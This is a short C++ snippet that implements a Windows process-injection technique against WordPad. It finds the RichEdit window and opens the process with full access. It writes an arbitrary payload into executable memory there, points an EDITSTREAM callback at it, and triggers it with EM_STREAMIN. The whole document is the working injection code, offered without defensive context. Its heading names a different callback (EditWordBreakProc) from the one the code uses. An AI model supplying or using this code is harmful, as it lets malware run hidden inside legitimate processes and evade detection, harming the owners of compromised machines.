Windows C++ / EditWordBreakProc

Code

typedef struct _editstream {
  DWORD_PTR          dwCookie;
  DWORD              dwError;
  EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;

VOID streamception(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, ds;
    SIZE_T        rd, wr;
    EDITSTREAM    es;
    
    // 1. Get window handles
    wpw = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
    
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Allocate RW memory and copy the EDITSTREAM structure there.
    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        
    es.dwCookie    = 0;
    es.dwError     = 0;
    es.pfnCallback = cs;
    
    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
    
    // 5. Trigger payload with EM_STREAMIN
    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

    // 6. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}